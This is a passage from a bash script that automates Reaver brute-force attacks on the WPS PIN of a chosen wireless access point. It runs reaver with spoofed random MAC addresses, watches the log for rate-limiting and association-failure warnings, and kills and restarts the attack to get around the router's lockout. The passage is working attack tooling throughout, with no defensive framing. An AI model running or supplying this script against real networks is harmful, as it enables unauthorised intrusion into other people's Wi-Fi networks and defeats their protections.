#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R33 == y || $USE_R33 == Y ]] && [[ $USE_LONG33 == y || $USE_LONG33 == Y ]] && [[ $USE_PIN33 == n || $USE_PIN33 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME33"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL33"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP33"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX33" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY33"
echo -e "$info Reaver live time                   = $yel$LIVE33 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME33-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL33 -b $TARGETAP33 -r $RX33:$RY33 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME33-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE33-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP33 (ESSID: $NMEWARN33)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP33 (ESSID: $NMEWARN33)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R33 == n || $USE_R33 == N ]] && [[ $USE_LONG33 == n || $USE_LONG33 == N ]] && [[ $USE_PIN33 == y || $USE_PIN33 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME33"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL33"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP33"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE33 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME33-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL33 -b $TARGETAP33 -vv -x 60  --pin=$WPS_PIN33 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME33-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE33-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP33 (ESSID: $NMEWARN33)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP33 (ESSID: $NMEWARN33)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R33 == y || $USE_R33 == Y ]] && [[ $USE_LONG33 == n || $USE_LONG33 == N ]] && [[ $USE_PIN33 == y || $USE_PIN33 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME33"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL33"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP33"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX33" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY33"
echo -e "$info Reaver live time                   = $yel$LIVE33 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME33-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL33 -b $TARGETAP33 -vv -x 60 -r $RX33:$RY33 --pin=$WPS_PIN33 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME33-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE33-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP33 (ESSID: $NMEWARN33)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP33 (ESSID: $NMEWARN33)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R33 == n || $USE_R33 == N ]] && [[ $USE_LONG33 == y || $USE_LONG33 == Y ]] && [[ $USE_PIN33 == y || $USE_PIN33 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME33"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL33"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP33"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE33 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME33-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL33 -b $TARGETAP33 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN33 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME33-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE33-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP33 (ESSID: $NMEWARN33)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP33 (ESSID: $NMEWARN33)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R33 == y || $USE_R33 == Y ]] && [[ $USE_LONG33 == y || $USE_LONG33 == Y ]] && [[ $USE_PIN33 == y || $USE_PIN33 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME33"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL33"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP33"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX33" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY33"
echo -e "$info Reaver live time                   = $yel$LIVE33 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME33-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL33 -b $TARGETAP33 -r $RX33:$RY33 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN33 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME33-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE33-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME33-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME33-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME33-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME33-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

